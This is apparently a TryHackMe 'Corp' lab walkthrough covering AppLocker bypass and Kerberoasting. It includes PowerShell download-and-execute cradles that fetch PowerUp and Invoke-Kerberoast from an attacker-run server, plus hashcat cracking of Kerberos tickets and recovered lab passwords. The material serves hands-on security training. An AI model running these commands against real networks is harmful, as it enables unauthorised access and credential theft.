# Corp

**Room Link:** [https://tryhackme.com/room/corp](https://tryhackme.com/room/corp)



## Bypassing Applocker



Load PowerUp.ps1 into memory.

**Kali**

```
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
python2 -m SimpleHTTPServer 81
```

Add the following line at the bottom to PowerUp.ps1 so it Invokes all checks automatically once downloaded

**PowerUp.ps1**

```
Invoke-AllChecks
```

**Victim(powershell)**

<pre><code>powershell -ep bypass
<strong>iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/PowerUp.ps1') 
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNSGGiz1BOuUVl2ZBtrda%2Fimage.png?alt=media&#x26;token=9981075f-1461-4465-917b-785476b6c959" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrB5TJiXHWbgMK82ys9Dh%2Fimage.png?alt=media&#x26;token=dce1190b-9992-405c-8a42-13846a65b1d5" alt=""><figcaption></figcaption></figure>

**Kali**

```
echo "dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=" | base64 -d
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8YO0tdNimFZqBvg0kF5Z%2Fimage.png?alt=media&#x26;token=fa2428ec-5741-48a1-a1f1-76c8a0af6fa2" alt=""><figcaption></figcaption></figure>

**Kali**

```
xfreerdp +clipboard /u:"Administrator" /v:$VICTIM:3389 /size:1024x568 /smart-sizing:800x1200
Password: tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbXUfsyAocKV1Gnx7KGDo%2Fimage.png?alt=media&#x26;token=73ad76a3-a9e2-4c5d-b813-1cf04e80478b" alt=""><figcaption></figcaption></figure>

## Kerberoasting

Run the below command from the Administrator account we just got access to.

**Victim(powershell)**

```
setspn -T medin -Q ​ */*
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiNUb3IX9hdxPe4cJVTfB%2Fimage.png?alt=media&#x26;token=702999e4-64b3-4e6f-89ca-67737020d5e6" alt=""><figcaption></figcaption></figure>

**Kali**

```
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
python2 -m SimpleHTTPServer 81
```

Add the following line at the bottom to Invoke-Kerberoast.ps1 so it runs automatically once downloaded

```
 Invoke-Kerberoast -OutputFormat hashcat ​ |fl
```

**Victim(powershell)**

```
powershell -ep bypass
powershell -c "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.131.240:81/Invoke-Kerberoast.ps1'))"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FoP8xWqZ5n9nwd28wu1dK%2Fimage.png?alt=media&#x26;token=7fdb1360-88a8-4bff-a317-f30eb741cedc" alt=""><figcaption></figcaption></figure>

Run this to get rid of all the spaces.

**Kali**

```
cat hash.txt | sed 's/[[:space:]]//g' |tr -d '\n' | sed 's/$krb5tgs$23$*/\n&/g' > hash.txt
```

Lets use hashcat to bruteforce this password. The type of hash we're cracking is Kerberos 5 TGS-REP etype 23 and the hashcat code for this is 13100.

**Kali**

```
hashcat -m 13100 -a 0 hash2.txt /usr/share/wordlists/rockyo.txt --force
hashcat -m 13100 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt --force --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkusYhLW5JX3n7lD8nU3W%2Fimage.png?alt=media&#x26;token=b1c2eb53-7457-4a89-8b74-5a5c8a3e4e1e" alt=""><figcaption></figcaption></figure>

**Kali**

```
xfreerdp +clipboard /u:"fela" /v:$VICTIM:3389 /size:1024x568 /smart-sizing:800x1200
Password: rubenF124
```



